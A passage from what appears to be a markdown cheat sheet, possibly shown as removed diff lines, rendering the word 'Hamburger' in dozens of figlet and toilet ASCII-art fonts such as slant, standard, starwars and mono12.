-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/// \\\\\\\\\\\\\\\\\\\\\\\
-```
-
-{: .-figlet}
-
-### rev
-
-```
-=========================================================================
-=  ====  ===================  ===========================================
-=  ====  ===================  ===========================================
-=  ====  ===================  ===========================================
-=  ====  ===   ===  =  = ===  =====  =  ==  =   ====   ====   ===  =   ==
-=        ==  =  ==        ==    ===  =  ==    =  ==  =  ==  =  ==    =  =
-=  ====  =====  ==  =  =  ==  =  ==  =  ==  ========    ==     ==  ======
-=  ====  ===    ==  =  =  ==  =  ==  =  ==  ==========  ==  =====  ======
-=  ====  ==  =  ==  =  =  ==  =  ==  =  ==  =======  =  ==  =  ==  ======
-=  ====  ===    ==  =  =  ==    ====    ==  ========   ====   ===  ======
-=========================================================================
-```
-
-{: .-figlet}
-
-### roman
-
-```
-ooooo   ooooo                              .o8
-`888'   `888'                             "888
- 888     888   .oooo.   ooo. .oo.  .oo.    888oooo.  oooo  oooo  oooo d8b  .oooooooo  .ooooo.  oooo d8b
- 888ooooo888  `P  )88b  `888P"Y88bP"Y88b   d88' `88b `888  `888  `888""8P 888' `88b  d88' `88b `888""8P
- 888     888   .oP"888   888   888   888   888   888  888   888   888     888   888  888ooo888  888
- 888     888  d8(  888   888   888   888   888   888  888   888   888     `88bod8P'  888    .o  888
-o888o   o888o `Y888""8o o888o o888o o888o  `Y8bod8P'  `V88V"V8P' d888b    `8oooooo.  `Y8bod8P' d888b
-                                                                          d"     YD
-                                                                          "Y88888P'
-```
-
-{: .-figlet}
-
-### rot13
-
-```
-Unzohetre
-```
-
-{: .-figlet}
-
-### rounded
-
-```
- _     _             _
-(_)   (_)           | |
- _______ _____ ____ | |__  _   _  ____ ____ _____  ____
-|  ___  (____ |    \|  _ \| | | |/ ___) _  | ___ |/ ___)
-| |   | / ___ | | | | |_) ) |_| | |  ( (_| | ____| |
-|_|   |_\_____|_|_|_|____/|____/|_|   \___ |_____)_|
-                                     (_____|
-```
-
-{: .-figlet}
-
-### rowancap
-
-```
-    dMP dMP .aMMMb  dMMMMMMMMb dMMMMb  dMP dMP dMMMMb  .aMMMMP dMMMMMP dMMMMb
-   dMP dMP dMP"dMP dMP"dMP"dMPdMP"dMP dMP dMP dMP.dMP dMP"    dMP     dMP.dMP
-  dMMMMMP dMMMMMP dMP dMP dMPdMMMMK" dMP dMP dMMMMK" dMP MMP"dMMMP   dMMMMK"
- dMP dMP dMP dMP dMP dMP dMPdMP.aMF dMP.aMP dMP"AMF dMP.dMP dMP     dMP"AMF
-dMP dMP dMP dMP dMP dMP dMPdMMMMP"  VMMMP" dMP dMP  VMMMP" dMMMMMP dMP dMP
-```
-
-{: .-figlet}
-
-### rozzo
-
-```
-888 888                     888
-888 888  ,"Y88b 888 888 8e  888 88e  8888 8888 888,8,  e88 888  ,e e,  888,8,
-8888888 "8" 888 888 888 88b 888 888b 8888 8888 888 "  d888 888 d88 88b 888 "
-888 888 ,ee 888 888 888 888 888 888P Y888 888P 888    Y888 888 888   , 888
-888 888 "88 888 888 888 888 888 88"   "88 88"  888     "88 888  "YeeP" 888
-                                                        ,  88P
-                                                       "8",P"
-```
-
-{: .-figlet}
-
-### runic
-
-```
-|    |
-|\   |
-| \  |
-|  \ |
-|   \|
-|    |
-```
-
-{: .-figlet}
-
-### runyc
-
-```
-|    |
-|\   |
-| \  |
-|  \ | |\ |\/| |\ |\  |\ \ / |\/| |\
-|   \| |\ |/\| |< | | |/  X  |  | |/
-|    | |  |  | |/ | | |\ / \ |  | |\
-```
-
-{: .-figlet}
-
-### sblood
-
-```
- @@@  @@@  @@@@@@  @@@@@@@@@@  @@@@@@@  @@@  @@@ @@@@@@@   @@@@@@@  @@@@@@@@ @@@@@@@
- @@!  @@@ @@!  @@@ @@! @@! @@! @@!  @@@ @@!  @@@ @@!  @@@ !@@       @@!      @@!  @@@
- @!@!@!@! @!@!@!@! @!! !!@ @!@ @!@!@!@  @!@  !@! @!@!!@!  !@! @!@!@ @!!!:!   @!@!!@!
- !!:  !!! !!:  !!! !!:     !!: !!:  !!! !!:  !!! !!: :!!  :!!   !!: !!:      !!: :!!
-  :   : :  :   : :  :      :   :: : ::   :.:: :   :   : :  :: :: :  : :: :::  :   : :
-```
-
-{: .-figlet}
-
-### script
-
-```
- ,                      _
-/|   |                 | |
- |___|  __,   _  _  _  | |          ,_    __,  _   ,_
- |   |\/  |  / |/ |/ | |/ \_|   |  /  |  /  | |/  /  |
- |   |/\_/|_/  |  |  |_/\_/  \_/|_/   |_/\_/|/|__/   |_/
-                                           /|
-                                           \|
-```
-
-{: .-figlet}
-
-### serifcap
-
-```
- _  _   __   __  __  ___  _  _  ___   __  ___  ___
-( )( ) (  ) (  \/  )(  ,)( )( )(  ,) / _)(  _)(  ,)
- )__(  /__\  )    (  ) ,\ )()(  )  \( (/\ ) _) )  \
-(_)(_)(_)(_)(_/\/\_)(___/ \__/ (_)\_)\__/(___)(_)\_)
-```
-
-{: .-figlet}
-
-### shadow
-
-```
- |   |                 |
- |   |  _` | __ `__ \  __ \  |   |  __| _` |  _ \  __|
- ___ | (   | |   |   | |   | |   | |   (   |  __/ |
-_|  _|\__,_|_|  _|  _|_.__/ \__,_|_|  \__, |\___|_|
-                                      |___/
-```
-
-{: .-figlet}
-
-### short
-
-```
-|_|  ,_ |        _
-| |(|||||)L||`(|(/_|`
-              _|
-```
-
-{: .-figlet}
-
-### slant
-
-```
-    __  __                __
-   / / / /___ _____ ___  / /_  __  ___________ ____  _____
-  / /_/ / __ `/ __ `__ \/ __ \/ / / / ___/ __ `/ _ \/ ___/
- / __  / /_/ / / / / / / /_/ / /_/ / /  / /_/ /  __/ /
-/_/ /_/\__,_/_/ /_/ /_/_.___/\__,_/_/   \__, /\___/_/
-                                       /____/
-```
-
-{: .-figlet}
-
-### slide
-
-```
-##  ||            ##
-##  ||##|  ##H H| ##   ## H|## H|#HH| #H| ## H|
-##HH||  H| ### HH|##H| ## H|##H|## H|##HH|##H|
-##  ||##H| ## H H|## H|## H|##   #HH|##   ##
-##  ||##HH|##   H|##H|  #HH|##     H| #HH|##
-                                ##H|
-```
-
-{: .-figlet}
-
-### slscript
-
-```
- _    ,
-' )  /              /
- /--/ __.  ______  /__. . __  _,  _  __
-/  (_(_/|_/ / / <_/_)(_/_/ (_(_)_</_/ (_
-                              /|
-                             |/
-```
-
-{: .-figlet}
-
-### small
-
-```
- _  _            _
-| || |__ _ _ __ | |__ _  _ _ _ __ _ ___ _ _
-| __ / _` | '  \| '_ \ || | '_/ _` / -_) '_|
-|_||_\__,_|_|_|_|_.__/\_,_|_| \__, \___|_|
-                              |___/
-```
-
-{: .-figlet}
-
-### smisome1
-
-```
-    ___       ___       ___       ___       ___       ___       ___       ___       ___
-   /\__\     /\  \     /\__\     /\  \     /\__\     /\  \     /\  \     /\  \     /\  \
-  /:/__/_   /::\  \   /::L_L_   /::\  \   /:/ _/_   /::\  \   /::\  \   /::\  \   /::\  \
- /::\/\__\ /::\:\__\ /:/L:\__\ /::\:\__\ /:/_/\__\ /::\:\__\ /:/\:\__\ /::\:\__\ /::\:\__\
- \/\::/  / \/\::/  / \/_/:/  / \:\::/  / \:\/:/  / \;:::/  / \:\:\/__/ \:\:\/  / \;:::/  /
-   /:/  /    /:/  /    /:/  /   \::/  /   \::/  /   |:\/__/   \::/  /   \:\/  /   |:\/__/
-   \/__/     \/__/     \/__/     \/__/     \/__/     \|__|     \/__/     \/__/     \|__|
-```
-
-{: .-figlet}
-
-### smkeyboard
-
-```
- ____ ____ ____ ____ ____ ____ ____ ____ ____
-||H |||a |||m |||b |||u |||r |||g |||e |||r ||
-||__|||__|||__|||__|||__|||__|||__|||__|||__||
-|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
-```
-
-{: .-figlet}
-
-### smscript
-
-```
- ,
-/|  |  _,         |)         ,_   _,  _  ,_
- |--| / |  /|/|/| |/\_|  |  /  | / | |/ /  |
- |  |)\/|_/ | | |_/\/  \/|_/   |/\/|/|_/   |/
-                                  (|
-```
-
-{: .-figlet}
-
-### smshadow
-
-```
- |  |             |
- __ |  _` |  ` \   _ \ |  |  _|_` |  -_)  _|
-_| _|\__,_|_|_|_|_.__/\_,_|_|\__, |\___|_|
-                             ____/
-```
-
-{: .-figlet}
-
-### smslant
-
-```
-   __ __           __
-  / // /__ ___ _  / /  __ _________ ____ ____
- / _  / _ `/  ' \/ _ \/ // / __/ _ `/ -_) __/
-/_//_/\_,_/_/_/_/_.__/\_,_/_/  \_, /\__/_/
-                              /___/
-```
-
-{: .-figlet}
-
-### smtengwar
-
-```
-\  .',  _ _   _ _  ?    _____ ,'
-/\  |  |_)_) |_)_) | \/ (_(_|  | \/
-             |       (,     |    (,
-```
-
-{: .-figlet}
-
-### speed
-
-```
-______  __                 ______
-___  / / /_____ _______ ______  /_____  _______________ _____________
-__  /_/ /_  __ `/_  __ `__ \_  __ \  / / /_  ___/_  __ `/  _ \_  ___/
-_  __  / / /_/ /_  / / / / /  /_/ / /_/ /_  /   _  /_/ //  __/  /
-/_/ /_/  \__,_/ /_/ /_/ /_//_.___/\__,_/ /_/    _\__, / \___//_/
-                                                /____/
-```
-
-{: .-figlet}
-
-### stacey
-
-```
-__________________________________________________________________
-7  7  77  _  77        77  _  77  7  77  _  77     77     77  _  7
-|  !  ||  _  ||  _  _  ||   __||  |  ||    _||   __!|  ___!|    _|
-|     ||  7  ||  7  7  ||  _  ||  |  ||  _ \ |  !  7|  __|_|  _ \
-|  7  ||  |  ||  |  |  ||  7  ||  !  ||  7  ||     ||     7|  7  |
-!__!__!!__!__!!__!__!__!!_____!!_____!!__!__!!_____!!_____!!__!__!
-```
-
-{: .-figlet}
-
-### stampatello
-
-```
-,-_/,.           .
-' |_|/ ,-. ,-,-. |-. . . ,-. ,-. ,-. ,-.
- /| |  ,-| | | | | | | | |   | | |-' |
- `' `' `-^ ' ' ' ^-' `-^ '   `-| `-' '
-                              ,|
-                              `'
-```
-
-{: .-figlet}
-
-### standard
-
-```
- _   _                 _
-| | | | __ _ _ __ ___ | |__  _   _ _ __ __ _  ___ _ __
-| |_| |/ _` | '_ ` _ \| '_ \| | | | '__/ _` |/ _ \ '__|
-|  _  | (_| | | | | | | |_) | |_| | | | (_| |  __/ |
-|_| |_|\__,_|_| |_| |_|_.__/ \__,_|_|  \__, |\___|_|
-                                       |___/
-```
-
-{: .-figlet}
-
-### starwars
-
-```
- __    __       ___      .___  ___. .______    __    __  .______        _______  _______ .______
-|  |  |  |     /   \     |   \/   | |   _  \  |  |  |  | |   _  \      /  _____||   ____||   _  \
-|  |__|  |    /  ^  \    |  \  /  | |  |_)  | |  |  |  | |  |_)  |    |  |  __  |  |__   |  |_)  |
-|   __   |   /  /_\  \   |  |\/|  | |   _  <  |  |  |  | |      /     |  | |_ | |   __|  |      /
-|  |  |  |  /  _____  \  |  |  |  | |  |_)  | |  `--'  | |  |\  \----.|  |__| | |  |____ |  |\  \----.
-|__|  |__| /__/     \__\ |__|  |__| |______/   \______/  | _| `._____| \______| |_______|| _| `._____|
-```
-
-{: .-figlet}
-
-### stellar
-
-```
-`..     `..                       `..
-`..     `..                       `..
-`..     `..   `..    `... `.. `.. `..      `..  `..`. `...   `..      `..    `. `...
-`...... `.. `..  `..  `..  `.  `..`.. `..  `..  `.. `..    `..  `.. `.   `..  `..
-`..     `..`..   `..  `..  `.  `..`..   `..`..  `.. `..   `..   `..`..... `.. `..
-`..     `..`..   `..  `..  `.  `..`..   `..`..  `.. `..    `..  `..`.         `..
-`..     `..  `.. `...`...  `.  `..`.. `..    `..`..`...        `..   `....   `...
-                                                            `..
-```
-
-{: .-figlet}
-
-### stop
-
-```
- _     _             _
-| |   | |           | |
-| |__ | | ____ ____ | | _  _   _  ____ ____  ____  ____
-|  __)| |/ _  |    \| || \| | | |/ ___) _  |/ _  )/ ___)
-| |   | ( ( | | | | | |_) ) |_| | |  ( ( | ( (/ /| |
-|_|   |_|\_||_|_|_|_|____/ \____|_|   \_|| |\____)_|
-                                     (_____|
-```
-
-{: .-figlet}
-
-### straight
-
-```
-|__| _  _ |_     _ _  _ _
-|  |(_|||||_)|_|| (_)(-|
-                  _/
-```
-
-{: .-figlet}
-
-### tanja
-
-```
-H)    hh                    b)
-H)    hh                    b)
-H)hhhhhh a)AAAA   m)MM MMM  b)BBBB  u)   UU  r)RRR   g)GGG  e)EEEEE  r)RRR
-H)    hh  a)AAA  m)  MM  MM b)   BB u)   UU r)   RR g)   GG e)EEEE  r)   RR
-H)    hh a)   A  m)  MM  MM b)   BB u)   UU r)      g)   GG e)      r)
-H)    hh  a)AAAA m)      MM b)BBBB   u)UUU  r)       g)GGGG  e)EEEE r)
-                                                         GG
-                                                    g)GGGG
-```
-
-{: .-figlet}
-
-### tengwar
-
-```
-`Yb.            db                                    dP"Yb.                                .dP'
-  `Yb        db    db                                 `b   'Yb                            dP'
-    Yb                                                                    "Ybaaaaaaaaad8'
-     Yb        'Yb    `Yb d88b d88b   `Yb d88b d88b      'Yb   `Yb    dP'  .dP'  dP'  88   'Yb   `Yb    dP'
-    dPYb        88     88P   88   8b   88P   8Y   8b      88     Yb  dP    88   88    88    88     Yb  dP
-  ,dP  Yb       88     88    8P   88   88    8P   88      88      YbdP     Y8   Y8   .88    88      YbdP
-.dP'    `Yb.   .8P     88  .dP  .dP    88  .dP' .dP'     .8P      .8P      `Y88P`Y88P'88   .8P      .8P
-                      .888888888888b.  888888888888b.           dP'  b                88          dP'  b
-                                       88                       Y.  ,P                88          Y.  ,P
-                                      .8P                        `""'                 Y8.          `""'
-```
-
-{: .-figlet}
-
-### term
-
-```
-Hamburger
-```
-
-{: .-figlet}
-
-### thick
-
-```
-8   8                8
-8www8 .d88 8d8b.d8b. 88b. 8   8 8d8b .d88 .d88b 8d8b
-8   8 8  8 8P Y8P Y8 8  8 8b d8 8P   8  8 8.dP' 8P
-8   8 `Y88 8   8   8 88P' `Y8P8 8    `Y88 `Y88P 8
-                                     wwdP
-```
-
-{: .-figlet}
-
-### thin
-
-```
-|   |          |
-|---|,---.,-.-.|---..   .,---.,---.,---.,---.
-|   |,---|| | ||   ||   ||    |   ||---'|
-`   '`---^` ' '`---'`---'`    `---|`---'`
-                              `---'
-```
-
-{: .-figlet}
-
-### threepoint
-
-```
-|_| _  _ _ |_     _ _  _  _
-| |(_|| | ||_)|_|| (_|(/_|
-                    _|
-```
-
-{: .-figlet}
-
-### ticks
-
-```
-_/\/\____/\/\______________________________/\/\___________________________________________________________________
-_/\/\____/\/\__/\/\/\______/\/\/\__/\/\____/\/\________/\/\__/\/\__/\/\__/\/\____/\/\/\/\____/\/\/\____/\/\__/\/\_
-_/\/\/\/\/\/\______/\/\____/\/\/\/\/\/\/\__/\/\/\/\____/\/\__/\/\__/\/\/\/\____/\/\__/\/\__/\/\/\/\/\__/\/\/\/\___
-_/\/\____/\/\__/\/\/\/\____/\/\__/\__/\/\__/\/\__/\/\__/\/\__/\/\__/\/\__________/\/\/\/\__/\/\________/\/\_______
-_/\/\____/\/\__/\/\/\/\/\__/\/\______/\/\__/\/\/\/\______/\/\/\/\__/\/\______________/\/\____/\/\/\/\__/\/\_______
-_______________________________________________________________________________/\/\/\/\___________________________
-```
-
-{: .-figlet}
-
-### ticksslant
-
-```
-     _/\/\____/\/\______________________________/\/\___________________________________________________________________
-    _/\/\____/\/\__/\/\/\______/\/\/\__/\/\____/\/\________/\/\__/\/\__/\/\__/\/\____/\/\/\/\____/\/\/\____/\/\__/\/\_
-   _/\/\/\/\/\/\______/\/\____/\/\/\/\/\/\/\__/\/\/\/\____/\/\__/\/\__/\/\/\/\____/\/\__/\/\__/\/\/\/\/\__/\/\/\/\___
-  _/\/\____/\/\__/\/\/\/\____/\/\__/\__/\/\__/\/\__/\/\__/\/\__/\/\__/\/\__________/\/\/\/\__/\/\________/\/\_______
- _/\/\____/\/\__/\/\/\/\/\__/\/\______/\/\__/\/\/\/\______/\/\/\/\__/\/\______________/\/\____/\/\/\/\__/\/\_______
-_______________________________________________________________________________/\/\/\/\___________________________
-```
-
-{: .-figlet}
-
-### tinker-toy
-
-```
-o  o           o
-|  |           |
-O--O  oo o-O-o O-o  o  o o-o o--o o-o o-o
-|  | | | | | | |  | |  | |   |  | |-' |
-o  o o-o-o o o o-o  o--o o   o--O o-o o
-                                |
-                             o--o
-```
-
-{: .-figlet}
-
-### tombstone
-
-```
- _,_  _, _, _ __, _,_ __,  _, __, __,
- |_| /_\ |\/| |_) | | |_) / _ |_  |_)
- | | | | |  | |_) | | | \ \ / |   | \
- ~ ~ ~ ~ ~  ~ ~   `~' ~ ~  ~  ~~~ ~ ~
-```
-
-{: .-figlet}
-
-### trek
-
-```
-     dBP dBP dBBBBBb     dBBBBBBb dBBBBb   dBP dBP dBBBBBb    dBBBBb  dBBBP dBBBBBb
-                  BB          dBP    dBP               dBP                      dBP
-   dBBBBBP    dBP BB   dBPdBPdBP dBBBK'  dBP dBP   dBBBBK   dBBBB   dBBP    dBBBBK
-  dBP dBP    dBP  BB  dBPdBPdBP dB' db  dBP_dBP   dBP  BB  dB' BB  dBP     dBP  BB
- dBP dBP    dBBBBBBB dBPdBPdBP dBBBBP' dBBBBBP   dBP  dB' dBBBBBB dBBBBP  dBP  dB'
-```
-
-{: .-figlet}
-
-### tsalagi
-
-```
- __      __   -|-       __           __     ___   ___     __
-/  '    |  \   |       `  \  ,  |~, /  '     |_-_  |     /  '
-\_      |   \  |        _  |@|  |  | ,_   `\/\     |_,  | ,_
-/  _    |   /  | _   |  |  | |  /  | ' |   |  |    | '  | ' |
-\__,    |__/    _|    \_|_/   \/    \__/    \/    _|_    \__/
-```
-
-{: .-figlet}
-
-### twopoint
-
-```
-|_| _ ._ _ |_    ._(~| _._
-| |(_|| | ||_)|_||  _|}_|
-```
-
-{: .-figlet}
-
-### univers
-
-```
-88        88                               88
-88        88                               88
-88        88                               88
-88aaaaaaaa88 ,adPPYYba, 88,dPYba,,adPYba,  88,dPPYba,  88       88 8b,dPPYba,  ,adPPYb,d8  ,adPPYba, 8b,dPPYba,
-88""""""""88 ""     `Y8 88P'   "88"    "8a 88P'    "8a 88       88 88P'   "Y8 a8"    `Y88 a8P_____88 88P'   "Y8
-88        88 ,adPPPPP88 88      88      88 88       d8 88       88 88         8b       88 8PP""""""" 88
-88        88 88,    ,88 88      88      88 88b,   ,a8" "8a,   ,a88 88         "8a,   ,d88 "8b,   ,aa 88
-88        88 `"8bbdP"Y8 88      88      88 8Y"Ybbd8"'   `"YbbdP'Y8 88          `"YbbdP"Y8  `"Ybbd8"' 88
-                                                                               aa,    ,88
-                                                                                "Y8bbdP"
-```
-
-{: .-figlet}
-
-### usaflag
-
-```
- :::  === :::====  :::=======  :::====  :::  === :::====  :::=====  :::===== :::====
- :::  === :::  === ::: === === :::  === :::  === :::  === :::       :::      :::  ===
- ======== ======== === === === =======  ===  === =======  === ===== ======   =======
- ===  === ===  === ===     === ===  === ===  === === ===  ===   === ===      === ===
- ===  === ===  === ===     === =======   ======  ===  ===  =======  ======== ===  ===
-```
-
-{: .-figlet}
-
-### weird
-
-```
- /  |           /
-(___| ___  _ _ (___       ___  ___  ___  ___
-|   )|   )| | )|   )|   )|   )|   )|___)|   )
-|  / |__/||  / |__/ |__/ |    |__/ |__  |
-                              __/
-```
-
-{: .-figlet}
-
-### whimsy
-
-```
- d8b                               d8b
- ?88                               ?88
-  88b                               88b
-  888888b  d888b8b    88bd8b,d88b   888888b ?88   d8P  88bd88b d888b8b   d8888b  88bd88b
-  88P `?8bd8P' ?88    88P'`?8P'?8b  88P `?8bd88   88   88P'  `d8P' ?88  d8b_,dP  88P'  `
- d88   88P88b  ,88b  d88  d88  88P d88,  d88?8(  d88  d88     88b  ,88b 88b     d88
-d88'   88b`?88P'`88bd88' d88'  88bd88'`?88P'`?88P'?8bd88'     `?88P'`88b`?888P'd88'
-                                                                     )88
-                                                                    ,88P
-                                                                `?8888P
-```
-
-{: .-figlet}
-
-## Toilet fonts
-
-### ascii12
-
-```
- mm    mm                      mm
- ##    ##                      ##
- ##    ##   m#####m  ####m##m  ##m###m   ##    ##   ##m####   m###m##   m####m    ##m####
- ########   " mmm##  ## ## ##  ##"  "##  ##    ##   ##"      ##"  "##  ##mmmm##   ##"
- ##    ##  m##"""##  ## ## ##  ##    ##  ##    ##   ##       ##    ##  ##""""""   ##
- ##    ##  ##mmm###  ## ## ##  ###mm##"  ##mmm###   ##       "##mm###  "##mmmm#   ##
- ""    ""   """" ""  "" "" ""  "" """     """" ""   ""        m""" ##    """""    ""
-                                                              "####""
-```
-
-{: .-figlet}
-
-### ascii9
-
-```
- m    m               #
- #    #  mmm   mmmmm  #mmm   m   m   m mm   mmmm   mmm    m mm
- #mmmm# "   #  # # #  #" "#  #   #   #"  " #" "#  #"  #   #"  "
- #    # m"""#  # # #  #   #  #   #   #     #   #  #""""   #
- #    # "mm"#  # # #  ##m#"  "mm"#   #     "#m"#  "#mm"   #
-                                            m  #
-                                             ""
-```
-
-{: .-figlet}
-
-### bigascii12
-
-```
- ##    ##                      ##
- ##    ##                      ##
- ##    ##                      ##
- ##    ##   :####    ## #:##:  ##.###:   ##    ##   ##.####   :###:##   .####:    ##.####
- ##    ##   ######   ########  #######:  ##    ##   #######  .#######  .######:   #######
- ########   #:  :##  ##.##.##  ###  ###  ##    ##   ###.     ###  ###  ##:  :##   ###.
- ########    :#####  ## ## ##  ##.  .##  ##    ##   ##       ##.  .##  ########   ##
- ##    ##  .#######  ## ## ##  ##    ##  ##    ##   ##       ##    ##  ########   ##
- ##    ##  ## .  ##  ## ## ##  ##.  .##  ##    ##   ##       ##.  .##  ##         ##
- ##    ##  ##:  ###  ## ## ##  ###  ###  ##:  ###   ##       ###  ###  ###.  :#   ##
- ##    ##  ########  ## ## ##  #######:   #######   ##       .#######  .#######   ##
- ##    ##    ###.##  ## ## ##  ##.###:     ###.##   ##        :###:##   .#####:   ##
-                                                              #.  :##
-                                                              ######
-                                                              :####:
-```
-
-{: .-figlet}
-
-### bigascii9
-
-```
-                      #
- #    #               #
- #    #               #
- #    # .###.  ## #   # ##   #   #   #:##:  ## #   ###    #:##:
- #    # #: :#  #:#:#  #   #  #   #   ##  # #   #     :#   ##  #
- ######     #  # # #  #   #  #   #   #     #   #  #   #   #
- #    # :####  # # #  #   #  #   #   #     #   #  #####   #
- #    # #:  #  # # #  #   #  #   #   #     #   #  #       #
- #    # #.  #  # # #  #   #  #:  #   #     #   #      #   #
- #    # :##:#  # # #  # ##   :##:#   #      ##:#   ###:   #
-                                               #
-                                              :#
-                                            :##.
-```
-
-{: .-figlet}
-
-### bigmono12
-
-```
- ██    ██                      ██
- ██    ██                      ██
- ██    ██                      ██
- ██    ██   ▒████▓   ██▓█▒██▒  ██░███▒   ██    ██   ██░████   ▒███▒██   ░████▒    ██░████
- ██    ██   ██████▓  ████████  ███████▒  ██    ██   ███████  ░███████  ░██████▒   ███████
- ████████   █▒  ▒██  ██░██░██  ███  ███  ██    ██   ███░     ███  ███  ██▒  ▒██   ███░
- ████████    ▒█████  ██ ██ ██  ██░  ░██  ██    ██   ██       ██░  ░██  ████████   ██
- ██    ██  ░███████  ██ ██ ██  ██    ██  ██    ██   ██       ██    ██  ████████   ██
- ██    ██  ██▓░  ██  ██ ██ ██  ██░  ░██  ██    ██   ██       ██░  ░██  ██         ██
- ██    ██  ██▒  ███  ██ ██ ██  ███  ███  ██▒  ███   ██       ███  ███  ███░  ▒█   ██
- ██    ██  ████████  ██ ██ ██  ███████▒  ▓███████   ██       ░███████  ░███████   ██
- ██    ██   ▓███░██  ██ ██ ██  ██░███▒    ▓███░██   ██        ▒███▒██   ░█████▒   ██
-                                                              █░  ▒██
-                                                              ██████▓
-                                                              ▒████▒
-```
-
-{: .-figlet}
-
-### bigmono9
-
-```
-                      █
- █    █               █
- █    █               █
- █    █ ░███░  ██▓█▓  █▓██   █   █   █▒██▒  ██▓█   ███    █▒██▒
- █    █ █▒ ▒█  █▒█▒█  █▓ ▓█  █   █   ██  █ █▓ ▓█  ▓▓ ▒█   ██  █
- ██████     █  █ █ █  █   █  █   █   █     █   █  █   █   █
- █    █ ▒████  █ █ █  █   █  █   █   █     █   █  █████   █
- █    █ █▒  █  █ █ █  █   █  █   █   █     █   █  █       █
- █    █ █░ ▓█  █ █ █  █▓ ▓█  █▒ ▓█   █     █▓ ▓█  ▓▓  █   █
- █    █ ▒██▒█  █ █ █  █▓██   ▒██▒█   █      ██▒█   ███▒   █
-                                               █
-                                            ▓ ▒█
-                                            ▒██░
-```
-
-{: .-figlet}
-
-### circle
-
-```
-Ⓗⓐⓜⓑⓤⓡⓖⓔⓡ
-```
-
-{: .-figlet}
-
-### emboss
-
-```
-┃ ┃┏━┃┏┏ ┏━ ┃ ┃┏━┃┏━┛┏━┛┏━┃
-┏━┃┏━┃┃┃┃┏━┃┃ ┃┏┏┛┃ ┃┏━┛┏┏┛
-┛ ┛┛ ┛┛┛┛━━ ━━┛┛ ┛━━┛━━┛┛ ┛
-```
-
-{: .-figlet}
-
-### emboss2
-
-```
-║ ║╔═║╔╔ ╔═ ║ ║╔═║╔═╝╔═╝╔═║
-╔═║╔═║║║║╔═║║ ║╔╔╝║ ║╔═╝╔╔╝
-╝ ╝╝ ╝╝╝╝══ ══╝╝ ╝══╝══╝╝ ╝
-```
-
-{: .-figlet}
-
-### future
-
-```
-╻ ╻┏━┓┏┳┓┏┓ ╻ ╻┏━┓┏━╸┏━╸┏━┓
-┣━┫┣━┫┃┃┃┣┻┓┃ ┃┣┳┛┃╺┓┣╸ ┣┳┛
-╹ ╹╹ ╹╹ ╹┗━┛┗━┛╹┗╸┗━┛┗━╸╹┗╸
-```
-
-{: .-figlet}
-
-### letter
-
-```
-H   H   A   M   M BBBB  U   U RRRR   GGG  EEEEE RRRR
-H   H  A A  MM MM B   B U   U R   R G     E     R   R
-HHHHH AAAAA M M M BBBB  U   U RRRR  G GG  EEEE  RRRR
-H   H A   A M   M B   B U   U R  R  G   G E     R  R
-H   H A   A M   M BBBB   UUU  R   R  GGG  EEEEE R   R
-```
-
-{: .-figlet}
-
-### mono12
-
-```
- ▄▄    ▄▄                      ▄▄
- ██    ██                      ██
- ██    ██   ▄█████▄  ████▄██▄  ██▄███▄   ██    ██   ██▄████   ▄███▄██   ▄████▄    ██▄████
- ████████   ▀ ▄▄▄██  ██ ██ ██  ██▀  ▀██  ██    ██   ██▀      ██▀  ▀██  ██▄▄▄▄██   ██▀
- ██    ██  ▄██▀▀▀██  ██ ██ ██  ██    ██  ██    ██   ██       ██    ██  ██▀▀▀▀▀▀   ██
- ██    ██  ██▄▄▄███  ██ ██ ██  ███▄▄██▀  ██▄▄▄███   ██       ▀██▄▄███  ▀██▄▄▄▄█   ██
- ▀▀    ▀▀   ▀▀▀▀ ▀▀  ▀▀ ▀▀ ▀▀  ▀▀ ▀▀▀     ▀▀▀▀ ▀▀   ▀▀        ▄▀▀▀ ██    ▀▀▀▀▀    ▀▀
-                                                              ▀████▀▀
-```
-
-{: .-figlet}
-
-### mono9
-
-```
- ▄    ▄               █
- █    █  ▄▄▄   ▄▄▄▄▄  █▄▄▄   ▄   ▄   ▄ ▄▄   ▄▄▄▄   ▄▄▄    ▄ ▄▄
- █▄▄▄▄█ ▀   █  █ █ █  █▀ ▀█  █   █   █▀  ▀ █▀ ▀█  █▀  █   █▀  ▀
- █    █ ▄▀▀▀█  █ █ █  █   █  █   █   █     █   █  █▀▀▀▀   █
- █    █ ▀▄▄▀█  █ █ █  ██▄█▀  ▀▄▄▀█   █     ▀█▄▀█  ▀█▄▄▀   █
-                                            ▄  █
-                                             ▀▀
-```
-
-{: .-figlet}
-
-### pagga
-
-```
-░█░█░█▀█░█▄█░█▀▄░█░█░█▀▄░█▀▀░█▀▀░█▀▄
-░█▀█░█▀█░█░█░█▀▄░█░█░█▀▄░█░█░█▀▀░█▀▄
-░▀░▀░▀░▀░▀░▀░▀▀░░▀▀▀░▀░▀░▀▀▀░▀▀▀░▀░▀
-```
-
-{: .-figlet}
-
-### smascii12
-
-```
-., .,          .,
-][ ][          ][
-][ ][ dWW,]WbW,]bWb ][ ][ WdW[ dWd[ dWb  WdW[
-]WWW[ `md[][W][]P T[][ ][ W`  ]P T[]bmd[ W`
-][ ][.W"T[][W][][ ][][ ][ W   ][ ][]P""` W
-][ ][]bmW[][W][]WmW`]bmW[ W   'WmW['Wmm[ W
-'` '` ""'`'`"'`'`"`  ""'` "    /"][ '""  "
-                               TWP`
-```
-
-{: .-figlet}
-
-### smascii9
-
-```
-.  ,        ]
-]  [ m, .mm ]m, . .  ,m  mm  m,  ,m
-]mm[' ] ]]] ]`T ] ]  P `]`T ]`]  P `
-]  [."T ]]] ] ] ] ]  [  ] ] ]""  [
-]  ['mT ]]] ]bP 'mT  [  'bT 'b/  [
-                         ,]
-                         '`
-```
-
-{: .-figlet}
-
-### smblock
-
-```
-▌ ▌       ▌
-▙▄▌▝▀▖▛▚▀▖▛▀▖▌ ▌▙▀▖▞▀▌▞▀▖▙▀▖
-▌ ▌▞▀▌▌▐ ▌▌ ▌▌ ▌▌  ▚▄▌▛▀ ▌
-▘ ▘▝▀▘▘▝ ▘▀▀ ▝▀▘▘  ▗▄▘▝▀▘▘
-```
-
-{: .-figlet}
-
-### smbraille
-
-```
- ⣇⣸ ⢀⣀ ⣀⣀  ⣇⡀ ⡀⢀ ⡀⣀ ⢀⡀ ⢀⡀ ⡀⣀
- ⠇⠸ ⠣⠼ ⠇⠇⠇ ⠧⠜ ⠣⠼ ⠏  ⣑⡺ ⠣⠭ ⠏
